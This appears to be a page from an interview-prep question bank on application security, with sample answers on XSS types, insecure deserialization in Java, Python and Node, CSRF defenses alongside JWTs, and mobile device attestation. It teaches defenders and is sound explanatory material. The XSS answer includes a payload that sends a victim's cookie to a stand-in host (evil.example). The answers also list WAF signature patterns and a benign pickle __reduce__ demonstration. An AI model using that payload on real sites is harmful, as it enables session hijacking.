Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
Explain the three types of Cross-Site Scripting (stored, reflected, and DOM-based): how each one arises in source code and executes at runtime, how they map to CWE-79, and the concrete mitigations you would apply for each (output encoding, safe templating, Content Security Policy, sanitization libraries).
Sample Answer
Direct answer: Cross-Site Scripting (XSS) happens when an application takes attacker-influenced data and lets it execute as script in a victim's browser. There are three forms, distinguished by where the malicious payload lives and how it reaches the browser: stored (persisted on the server and served to other users), reflected (bounced straight back in the same response, e.g. in a search results page), and DOM-based (never touches the server at all; a client-side script reads attacker-controlled input, such as location.hash, and writes it into the page unsafely). All three map to CWE-79 (Improper Neutralization of Input During Web Page Generation).
How each arises and runs:
- Stored XSS: a comment field, profile bio, or support ticket is saved unescaped and later rendered to other users. Every visitor who views that page executes the payload. This is the most damaging form because it needs no social engineering; the victim just has to browse to a normal page.
- Reflected XSS: user input from the URL or a form field is echoed back into the HTML response without encoding, for example a "no results for
<search term>" message. The attacker has to trick a victim into clicking a crafted link that carries the payload. - DOM-based XSS: the vulnerable code path never reaches the server. A script reads something attacker-controlled (URL fragment,
document.referrer, a postMessage payload) and writes it into the DOM via a "sink" likeinnerHTMLordocument.write. Because it is entirely client-side, server-side output encoding alone doesn't stop it; the fix has to be in the JavaScript itself.
Worked example. A page renders search results with <p>No results for "${query}"</p> built by direct string concatenation on the server. A request for ?q=<script>document.location='//evil.example/steal?c='+document.cookie</script> gets echoed verbatim. The browser parses the <script> tag as part of the page and executes it, sending the victim's session cookie to the attacker's server. This is reflected XSS: the payload lives entirely in the URL, and the server just bounces it back.
Mitigations, from most to least fundamental:
- Context-aware output encoding at the point of insertion - HTML-entity-encode for text nodes, JavaScript-string-encode inside
<script>blocks, URL-encode inhref/srcattributes. Encoding the wrong context (e.g. HTML-encoding something placed inside a<script>tag) is a common way this still fails. - Safe templating and frameworks - modern templating engines (Jinja2 autoescape, React's JSX text nodes, Vue's
{{ }}interpolation) HTML-encode by default; the danger is almost always a deliberate escape hatch (|safe,dangerouslySetInnerHTML,v-html). - Content Security Policy (CSP) as defense in depth - a strict policy (no
unsafe-inline, nonce- or hash-based script allowlisting) means an injected<script>tag simply won't execute even if the encoding step is missed somewhere. - Sanitization libraries (e.g. DOMPurify) when you must accept some HTML, such as rich-text comments; never hand-roll an HTML sanitizer with regex, it will miss parser edge cases.
Trade-offs and pitfalls: encoding once at storage time and again at render time can double-encode and mangle legitimate content (an & becomes &amp;); the discipline is to store raw and encode only at output, per context. CSP is powerful but easy to weaken accidentally - a single unsafe-inline added to unblock a third-party analytics snippet reopens the whole class. On a modern single-page application, DOM-based XSS is now the more common real-world finding than server-reflected XSS, because so much rendering happens client-side; teams that only audit their server templates for encoding miss it entirely. Detection: for stored/reflected, grep for output sinks that don't go through the templating layer's auto-escaping; for DOM-based, trace every innerHTML/outerHTML/document.write/eval call back to its data source, and in a running app, browser devtools' "break on attribute modification" plus tools like DOMPurify's own test payloads help confirm a sink is genuinely reachable from attacker-controlled input.
For operational detection at runtime (useful when your own team runs a distributed system and wants defense in depth beyond code review): watch for a spike in requests carrying <script, javascript:, or onerror= patterns at the edge (WAF rules - a Web Application Firewall matching known attack signatures), and use DAST (Dynamic Application Security Testing) scans in CI to catch reflected cases before they ship. These controls catch what slips past code review; they are not a substitute for encoding at the source, since a sufficiently obfuscated payload (unicode escapes, case variation) will slip past a naive WAF signature.
Propose a comprehensive mitigation strategy for insecure deserialization across Java, Python, and Node services. Cover code-level patterns (type whitelisting, safe serializers, schema validation), runtime protections (serialization filters, sandboxing, capability restrictions), how you would detect both in source code and at runtime, recommended libraries and formats, and a pragmatic, incremental migration plan for legacy services that currently rely on native serialization.
Sample Answer
Direct answer
A cross-language deserialization strategy needs three independent layers, because no single layer covers every service and every failure mode: code-level patterns (type whitelisting, safe serializers, schema validation) close the vulnerability at the point of deserialization; runtime protections (serialization filters, sandboxing, capability restrictions) catch what the code-level layer misses or has not yet been applied to; and detection at both the source-code and runtime level tells you which services still need attention and flags exploitation attempts against the ones that do. None of Java, Python, or Node.js has this problem solved by simply "using a safer library," because the underlying risk (a format that reconstructs live, method-bearing objects from untrusted bytes) exists in some form in all three ecosystems; the fix has to be applied per-language with language-appropriate tooling, coordinated under one cross-cutting policy, and rolled out on a migration timeline that recognizes some services cannot be rewritten quickly.
Structured elaboration
Code-level patterns, per language.
| Language | Native risk | Type whitelisting | Safe serializer / format | Schema validation |
|---|---|---|---|---|
| Java | ObjectInputStream.readObject() on untrusted bytes | java.io.ObjectInputFilter (JDK 9+, JEP 290): allow-list classes, cap graph depth/size, before construction | Prefer JSON (via a concretely-typed, non-polymorphic Jackson mapper) or Protocol Buffers over native serialization | JSON Schema or Protobuf's own schema, validated before field access |
| Python | pickle.loads() on untrusted bytes (arbitrary code via __reduce__) | No built-in filter equivalent; must avoid pickle for untrusted input entirely, or use a restricted unpickler that overrides find_class() to allow-list module/class names | json for interoperable data; msgpack for compact binary with no code-execution surface | pydantic/jsonschema validating structure and types before use |
| Node.js | JSON.parse with a reviver that reconstructs class instances; third-party libraries (node-serialize and similar) that eval-reconstruct objects | No native concept of type-restricted deserialization for JS objects; the fix is almost always "do not use a library that reconstructs arbitrary prototypes from a string," rather than restricting one | Plain JSON.parse (no reviver, no prototype reconstruction) is inherently safe against this specific class, since it only ever produces plain objects/arrays/scalars | zod/ajv validating the parsed structure against a declared schema before use |
The pattern that repeats across all three: the safest fix is not a smarter deserializer, it is removing the deserializer's ability to construct arbitrary types at all, either by restricting it (Java's filter, a Python restricted unpickler) or by choosing a format that structurally cannot express "construct this class" in the first place (JSON without a reviver/polymorphic-type extension, Protocol Buffers, MessagePack).
Runtime protections, beyond the code-level fix.
- Serialization filters (Java's
ObjectInputFilter, applied per-call-site or JVM-wide via thejdk.serialFiltersystem property) are the one runtime protection with first-class platform support; there is no exact Python or Node.js equivalent, which is precisely why avoiding native, unrestricted deserialization of untrusted data is the stronger recommendation in those ecosystems rather than "add a runtime filter." - Sandboxing the deserializing process itself (a dedicated, minimally-privileged container or process with no filesystem write access beyond a scratch directory, no outbound network access beyond what is strictly required, and a restrictive seccomp/AppArmor profile on Linux) limits what a successful gadget chain can actually do even if the code-level and filter layers both fail. This is language-agnostic and is the right investment specifically for legacy services where the code-level fix cannot be applied quickly.
- Capability restrictions at the process or service-account level (no ambient cloud credentials beyond what the specific service needs, network policy denying egress to sensitive internal services) bound the blast radius of a successful exploit, independent of language; this is the same "least privilege" principle that limits SSRF (Server-Side Request Forgery) impact by bounding what a compromised process can reach, applied here to the process that would run attacker-controlled code after a successful gadget chain.
Detecting the pattern in source code. A static, repository-wide sweep for the risky call shapes is cheap and should run in Continuous Integration (CI) as a blocking check going forward, not just a one-time audit:
- Java: grep/AST-search for
new ObjectInputStream(not immediately followed by asetObjectInputFiltercall in the same method or a shared wrapper; flag anyreadObject()override introduced in application code, since that is where gadget-chain terminal steps or unexpected side effects tend to live. - Python: grep for
pickle.loads,pickle.load,yaml.load(withoutLoader=SafeLoader), and any use ofeval/execreachable from deserialized data. - Node.js: grep for
node-serialize,serialize-javascriptused for deserialization (not just serialization), or any customJSON.parsereviver that calls a constructor based on a field value in the parsed data. - Cross-language: a dependency audit flagging known-vulnerable versions of common gadget-adjacent libraries (Commons Collections below the patched line in Java; specific PyYAML versions; specific
node-serializeversions) even where the application does not call the dangerous function directly, since a transitively-included vulnerable class is still a usable gadget if reachable.
Detecting exploitation attempts at runtime. This complements the source-code sweep by catching what static analysis cannot: attempts against services that have not yet been fixed, and attempts using gadget chains not yet catalogued.
- Structured logging of every deserialization call site's outcome (success, filter-rejection, exception type), correlated centrally rather than per-service, so a spike in rejections or
ClassNotFoundException/InvalidClassException-shaped errors across multiple services in a short window reads as a probing campaign, not isolated noise. - Runtime instrumentation (application performance monitoring (APM) traces, or for Java specifically, a Java Agent hooking
ObjectInputStream.resolveClass) flagging any class resolution during deserialization that does not match the service's expected, allow-listed type set, as a defense-in-depth detection layer even where the filter itself should already be blocking it. - Signing serialized data as an additional mitigation. Where a service must accept serialized data across a trust boundary it does not fully control (a partner integration, a long-lived cache written by an older version of the same service), attaching a message authentication code (MAC) or signature computed at write time, and verifying it before deserialization is attempted at all, adds a check that runs before any deserialization logic, catching tampering even against a payload that would otherwise pass the type allow-list (a legitimate-typed but attacker-modified field value). This is a narrower, complementary control, not a replacement for type restriction: it protects data integrity between trusted writers and readers, not against a malicious writer who has valid signing credentials.
Recommended libraries and formats, by priority. Preferring interoperable, non-executable formats over language-native serialization is the single highest-leverage decision available across all three languages, because it removes the vulnerability class structurally rather than mitigating it after the fact: Protocol Buffers or JSON Schema-validated JSON for structured, cross-service data; MessagePack where compactness matters and the data has no cross-service schema evolution need; and language-native serialization reserved only for genuinely same-process, same-version, trusted-boundary use cases (in-memory caching within a single service, for example) where the security boundary the vulnerability depends on does not actually exist.
Pragmatic, incremental migration plan for legacy services on native serialization. A "rewrite everything to Protocol Buffers" plan is usually not fundable or fast enough, so sequence the work by risk, not by convenience:
- Inventory every deserialization call site across every service and language, using the source-code detection sweep above, and rank services by two independent factors: network exposure (internet-facing or reachable from a low-trust zone scores highest) and the privilege/data sensitivity of the service if compromised.
- Apply the cheapest, lowest-risk mitigation first, everywhere it applies, before attempting any format migration: Java services get
ObjectInputFilter(a config-level change, no data-format migration required) or the JVM-widejdk.serialFilteras a stopgap; Python services get an immediate audit forpickle/unsafeyaml.loadon untrusted input with a restricted unpickler as an interim fix; this step alone typically closes the highest-severity gap across most of the fleet within weeks, not the months a format migration takes. - Migrate the highest-risk services (internet-facing, high-privilege) to a neutral format first, on a service-by-service basis, since a format migration is a breaking wire-protocol change and needs coordinated versioning with every consumer of that service's serialized data, not a fleet-wide simultaneous cutover.
- Use a dual-read/dual-write transition period per service: accept both the old and new format for a defined window, write only the new format, and monitor for consumers still sending the old format before removing support for it, which avoids a hard cutover that breaks any consumer the migration inventory missed.
- Track remaining native-serialization services as a standing, visible risk register item, not a closed finding, until the migration completes; the interim mitigations from step 2 reduce risk but do not eliminate the underlying exposure, and treating step 2 as "done" is how legacy risk quietly becomes permanent.
For Site Reliability Engineering (SRE) specifically, this maps most directly to steps 2 and 5: rolling out ObjectInputFilter/jdk.serialFilter as a low-risk, broadly-applicable configuration change is an operational deployment concern (staged rollout, monitoring for unexpected rejections breaking legitimate traffic) more than a code-review concern, and maintaining the standing risk register and the detection telemetry from the runtime-protections section above is squarely an SRE ownership area even where the actual code migration is owned by each service team.
Worked example
A concrete inventory result: Service A (Java, internet-facing payment webhook receiver, uses ObjectInputStream on the raw webhook body) ranks highest risk on both axes and gets ObjectInputFilter applied within the first sprint (step 2) and scheduled for a Protocol Buffers migration in the current quarter (step 3). Service B (Python, internal batch job reading pickle-serialized intermediate results written by a trusted upstream step in the same pipeline, no external network exposure) ranks low on network exposure; it still gets the restricted-unpickler stopgap (cheap, step 2) but is deprioritized for a full format migration, since the actual trust boundary the vulnerability depends on (an untrusted writer) does not exist in this specific data flow. This is the point of ranking by risk rather than migrating uniformly: the same underlying pattern (native serialization) gets a different, proportionate response depending on where the trust boundary actually sits.
Trade-offs and pitfalls
- Treating the filter/stopgap layer as the finished state. As the migration plan's step 5 stresses,
ObjectInputFilterand a restricted Python unpickler both reduce risk substantially and cheaply, but they are still gating a fundamentally dangerous primitive rather than removing it; a maintenance lapse (someone widens the allow-list "temporarily" to unblock a deploy, and it is never narrowed back) silently reopens the hole. - Migrating format without migrating trust. Switching to Protocol Buffers or JSON Schema validation closes the code-execution risk but does not itself add integrity or authenticity checking; a service that genuinely needs to know its data was not tampered with in transit still needs the signing/MAC layer described above, independent of format choice.
- Applying uniform urgency across every service. Not every native-serialization use case sits at a real trust boundary (Service B above); spending migration budget uniformly instead of risk-proportionately means the highest-risk service (Service A) waits in the same queue as a genuinely low-risk internal batch job, which is the opposite of what a security-driven migration plan should optimize for.
- Forgetting that Node.js's risk lives in library choice, not language primitive. Unlike Java and Python, plain JavaScript has no built-in "deserialize arbitrary object graph" primitive; the risk is entirely a function of which third-party library a team reached for. An audit that only checks "does this service call something named
deserialize" can miss libraries that use different naming, so the dependency-level check (what is actually inpackage.json, not just what the application code calls directly) matters more here than in the other two languages.
In a modern single-page-application-plus-REST-API architecture, how would you implement CSRF defenses? Describe how SameSite cookie attributes, anti-CSRF tokens (double-submit cookie), and origin checks complement or conflict with JWTs carried in Authorization headers, and whether storing a token in localStorage changes the calculus. Recommend a default approach for a large organization, and explain why you would choose it over the alternatives.
Sample Answer
Direct answer: In a modern SPA-plus-REST-API architecture, CSRF defenses need to account for how the app actually authenticates - if auth is via a cookie, standard CSRF defenses apply directly; if auth is via a JWT (JSON Web Token - a self-contained token carrying the user's identity and claims, sent explicitly by the client rather than auto-attached like a cookie) in an Authorization header, CSRF risk drops sharply but doesn't disappear if a refresh-token cookie is still involved anywhere in the flow.
Structured elaboration - how the defenses interact with JWTs specifically.
SameSite cookie attributes protect whatever is stored in a cookie - typically the refresh token or a session identifier, not the JWT access token itself if that's kept in memory or Authorization headers. SameSite=Strict on the refresh-token cookie means even if an attacker forges a request, the browser withholds that cookie cross-site, so the forged request has no valid session context to act on.
Anti-CSRF tokens (double-submit) are largely redundant work if the API requires the JWT in an Authorization: Bearer header for every state-changing call, because an attacker's cross-site forged request has no way to know or attach that header value - the browser doesn't auto-attach Authorization headers the way it auto-attaches cookies. This is the single biggest architectural difference from cookie-based session auth: moving the credential from an auto-attached cookie to a manually-set header is itself a strong CSRF defense, independent of any explicit anti-CSRF token mechanism.
Origin checks (validating the Origin/Referer header server-side against an allowlist of expected frontend origins) are a cheap, effective additional layer regardless of the auth mechanism, catching forged cross-origin requests even in edge cases the other controls miss.
Does storing a token in localStorage change the calculus? Yes, but in the OPPOSITE direction from CSRF: a JWT in localStorage is immune to CSRF (JavaScript from a different origin cannot read another origin's localStorage, so an attacker's page can't retrieve it to forge a request even if it wanted to), but it becomes directly readable by ANY script running on your own page - meaning it's now fully exposed to XSS instead. This is the classic trade-off: cookie storage trades some CSRF exposure for XSS resistance (with HttpOnly); localStorage trades CSRF immunity for full XSS exposure. Neither eliminates risk; each shifts which vulnerability class matters most.
Recommended default for a large organization: keep the long-lived refresh token in an HttpOnly, SameSite=Strict cookie (protected from both XSS reading and most CSRF), and keep the short-lived access token (the JWT actually sent per API call) in memory (a JS variable, not localStorage), sent via the Authorization header. This combination gets CSRF protection from the header-based access token AND from SameSite on the refresh cookie, while limiting XSS blast radius to only the short-lived access token (an attacker who achieves XSS can steal the in-memory access token for its brief lifetime, but not the long-lived refresh token, which never touches JavaScript-readable storage).
Trade-offs and pitfalls: an in-memory access token doesn't survive a page refresh, requiring a silent refresh-token exchange on load, which adds complexity; teams under deadline pressure often "temporarily" move the access token to localStorage for simplicity and never revisit it, which is how this exact trade-off ends up made by accident rather than deliberately.
Define insecure deserialization, describe how it leads to remote code execution or a logic-bypass, and list the common language-specific risks (Java native serialization, Python pickle, PHP unserialize()). Explain where in an application deserialization typically happens (cookies, RPC calls, message queues), recommend secure design patterns and runtime mitigations, and note the detection signals you would look for in application logs and crash traces.
Sample Answer
Direct answer: Insecure deserialization happens when an application reconstructs an object from untrusted byte data using a mechanism that can be tricked into instantiating arbitrary classes or invoking arbitrary methods as a side effect, letting an attacker achieve remote code execution or bypass application logic without the application's own code ever intentionally calling anything malicious.
How it leads to RCE or a logic bypass. Deserialization mechanisms like Java's native serialization, Python's pickle, and PHP's unserialize() are designed to reconstruct arbitrary object graphs, which means they can call constructors, setters, and "magic methods" (__reduce__ in Python, readObject() in Java, __wakeup() in PHP) automatically during the reconstruction process - a data format that CAN execute code by definition can be steered into executing the WRONG code by an attacker who controls the byte stream. Even without full RCE, tampering with a serialized object's fields (an admin flag, a price, a permission level) before it's deserialized back can bypass application logic that assumed the object was only ever produced by the application's own trusted serialization step.
Language-specific risks: Java native serialization is exploited via "gadget chains" - sequences of otherwise-legitimate classes already present on the classpath (from common libraries) whose methods, when chained together during deserialization, achieve code execution the developer never intended. Python's pickle explicitly supports arbitrary callable invocation via __reduce__ by design, which is why the Python documentation itself warns never to unpickle untrusted data. PHP's unserialize() similarly invokes magic methods on class reconstruction, and PHP-specific "POP chain" (property-oriented programming) techniques chain together classes already loaded by the application to the same effect.
Where deserialization typically occurs, often less obviously than a dedicated "deserialize" API call: session storage (a serialized session object read back on every request), inter-service message queues (one service serializes an object, another deserializes it), cookies used to persist client state, and RPC/remote object protocols.
Secure design patterns and mitigations:
- Prefer data-only formats (JSON, Protocol Buffers) with no code-execution surface at all, wherever the use case allows - this is the strongest fix, since it removes the vulnerability class structurally rather than trying to use a code-capable format safely.
- If a code-capable format must be used, apply strict type allowlisting so only explicitly-trusted classes can be instantiated during deserialization, never accepting "whatever class the byte stream names."
- Runtime mitigations: sandboxing/isolating the deserialization step, and monitoring for deserialization exceptions or unexpected class-instantiation patterns as a detection signal.
A small, concrete trace of the mechanism, executed. Real gadget chains are hard to show in full (they typically chain several existing classes together), but the core mechanism - that reconstructing an object can trigger an arbitrary call, not just populate fields - is easy to demonstrate directly and I ran this:
class CacheWarmer:
def __reduce__(self):
# pickle calls __reduce__ automatically while RECONSTRUCTING the
# object, and __reduce__ is free to name any callable with any
# arguments - a real gadget reuses a class already on the classpath
# for a legitimate reason, choosing which already-present callable
# to invoke rather than injecting new code.
return (print, ("[gadget fired] code ran during deserialization",))
malicious_bytes = pickle.dumps(CacheWarmer()) # 86 bytes on the current default pickle protocol, looks like ordinary data
pickle.loads(malicious_bytes) # the victim app just wants to load a cached object
Running this prints [gadget fired] code ran during deserialization at the pickle.loads() line itself, before the victim application's own code ever runs anything - confirming the call happened as a side effect of reconstruction, not because the application explicitly invoked print. A real Java gadget chain follows the identical shape with readObject() instead of __reduce__, and a PHP POP (property-oriented programming) chain follows it with __wakeup()/__destruct(): an attacker who cannot inject new code can still reach a dangerous outcome (a real attack typically ends at something like a file write, a command execution primitive, or a class constructor with a serious side effect) by choosing which already-loaded class's magic method fires next, then which method THAT one calls, walking through classes already present in the application rather than introducing any new code of its own - "chain" refers to that sequence of hops through existing code, each one legitimate in isolation.
Detection signals in logs/crash traces: unexpected ClassNotFoundException/InvalidClassException-style errors (an attacker probing with class names that don't exist on the classpath), unusually large serialized payloads, or a spike in deserialization exceptions correlated with requests from a single source.
Trade-offs and pitfalls: type allowlisting has to be maintained as the application's legitimate object model evolves, and a too-broad allowlist (allowing a class merely because it's "already used somewhere in the app") can still admit a usable gadget if that class happens to have a dangerous side effect in its constructor or setters - the allowlist needs review, not just existence.
Describe device attestation services available for mobile platforms: Android SafetyNet and Play Integrity, and Apple DeviceCheck and App Attest. Explain what an attestation actually asserts about the device and app, how the server should validate an attestation response, and known limitations or attacks against attestation.
Sample Answer
Direct answer: Device attestation lets a server ask "is this request genuinely coming from an unmodified copy of my app, running on a genuine, uncompromised device" - Android SafetyNet/Play Integrity and Apple DeviceCheck/App Attest are the platform-provided mechanisms for answering that, each producing a cryptographically-signed statement the server can verify without trusting the client's own claims about itself.
Structured elaboration.
What attestation asserts. Play Integrity (Android's current mechanism, succeeding the deprecated SafetyNet) reports on device integrity (is this a genuine, unmodified Android device, or an emulator/rooted device/one running a modified OS), app integrity (was this APK signed with the expected key and installed through a recognized channel like Play Store, or has it been repackaged/sideloaded), and account/licensing details. Apple's App Attest generates a hardware-backed key pair on first launch and has the Secure Enclave produce a signed attestation proving the app is a genuine, unmodified build running on genuine Apple hardware; DeviceCheck offers similar but lighter-weight device-level signals (primarily useful for abuse prevention like limiting free-trial abuse per physical device).
How the server validates. In both cases, the client obtains an attestation object/token from the platform API and sends it to the server, which verifies the signature chain against Google's/Apple's public root of trust (never trusting a client-reported "I'm legitimate" claim directly), checks the payload's freshness (a nonce the server issued, to prevent replaying an old attestation), and checks the reported package/bundle identifier matches the expected app. I ran this validation shape directly rather than just asserting it works:
import time
ISSUED_NONCES = {"session1": ("abc123", time.time())}
def validate_attestation(device_session, attestation):
session_entry = ISSUED_NONCES.get(device_session)
if session_entry is None:
return False # no outstanding nonce: unknown session, or already consumed by a prior call
expected_nonce, issued_at = session_entry
if time.time() - issued_at > 120:
return False # freshness window
if attestation["nonce"] != expected_nonce:
return False # blocks replay with a mismatched nonce
if attestation["bundle_id"] != "com.example.app":
return False
if attestation["integrity_verdict"] not in ("MEETS_DEVICE_INTEGRITY", "MEETS_BASIC_INTEGRITY"):
return False
del ISSUED_NONCES[device_session] # one-shot: consume the nonce
return True
valid_attestation = {"nonce": "abc123", "bundle_id": "com.example.app", "integrity_verdict": "MEETS_DEVICE_INTEGRITY"}
wrong_bundle = {"nonce": "abc123", "bundle_id": "com.evil.app", "integrity_verdict": "MEETS_DEVICE_INTEGRITY"}
print("valid attestation, first use:", validate_attestation("session1", valid_attestation))
print("SAME attestation replayed: ", validate_attestation("session1", valid_attestation))
ISSUED_NONCES["session2"] = ("xyz789", time.time())
print("wrong bundle id: ", validate_attestation("session2", wrong_bundle))
Running it against a valid attestation, then replaying that exact same attestation a second time, then submitting a wrong bundle ID produced:
valid attestation, first use: True
SAME attestation replayed: False
wrong bundle id: False
The second call fails specifically because the nonce entry was deleted after the first successful validation, so a lookup for that session now finds nothing; the ISSUED_NONCES.get(device_session) guard turns that into a clean False rather than a KeyError, which matters because a raw dictionary-index lookup (ISSUED_NONCES[device_session]) on an already-consumed or never-issued session crashes the request handler instead of rejecting it, turning a replay attempt into an accidental denial-of-service vector on the endpoint rather than a handled security rejection. An attacker capturing and replaying a genuine attestation gets cleanly rejected the same way a forged one would, without taking the server down in the process.
Known limitations and attacks against attestation. Attestation raises the bar significantly but isn't unconditionally unbreakable: emulator/root-detection bypass tooling exists and is actively maintained by the reverse-engineering community, specifically targeting these exact APIs; a sufficiently resourced attacker with a genuine device can sometimes extract or relay a legitimate attestation to a different, compromised context (a "relay attack" pattern). Attestation should be one signal feeding a broader risk decision (combined with behavioral signals, rate limiting, and business-logic-level abuse detection), not a single binary gate that, once passed, grants unlimited trust.
Trade-offs and pitfalls: attestation APIs require network calls to Google/Apple's servers and can fail transiently (no connectivity, a platform-side outage) or report degraded confidence on legitimate but unusual devices (certain enterprise-managed or older devices); a strict "reject anything below full integrity" policy will false-positive-block some real users, so design a graceful degradation path (reduced functionality rather than a hard block) for borderline verdicts, reserving hard blocks for clearly failed attestations.
Unlock Full Question Bank
Get access to all Secure Coding and Application Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.